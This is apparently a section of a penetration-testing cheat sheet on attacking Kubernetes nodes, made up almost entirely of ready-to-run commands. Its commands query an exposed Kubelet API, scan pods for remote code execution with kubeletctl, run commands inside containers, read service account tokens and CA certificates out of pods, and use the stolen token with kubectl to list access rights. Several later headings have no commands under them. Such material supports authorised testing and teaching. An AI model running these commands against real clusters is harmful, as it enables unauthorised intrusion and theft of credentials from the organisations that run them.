15.Kubernetes
Access Kubelet API (pods list)
curl https://<node_ip>:10250/pods -k | jqKubeletctl (pods list)
kubeletctl -i --server <node_ip> podsKubeletctl (scan for RCE)
kubeletctl -i --server <node_ip> scan rceKubeletctl (execute command in pod)
kubeletctl -i --server <node_ip> exec "id" -p <pod_name> -c <container_name>Kubeletctl (extract token)
kubeletctl -i --server <node_ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p <pod_name> -c <container_name> | tee -a k8.tokenKubeletctl (extract certificate)
kubeletctl --server <node_ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p <pod_name> -c <container_name> | tee -a ca.crtSet token variable
export token=`cat k8.token`Check Kubernetes access rights (kubectl)
kubectl --token=$token --certificate-authority=ca.crt --server=https://<api_server_ip>:6443 auth can-i --listApply pod YAML (kubectl)
Get pods (kubectl)
Kubeletctl (execute command in privileged pod)
Basic kubectl commands
Key Concepts:
Last updated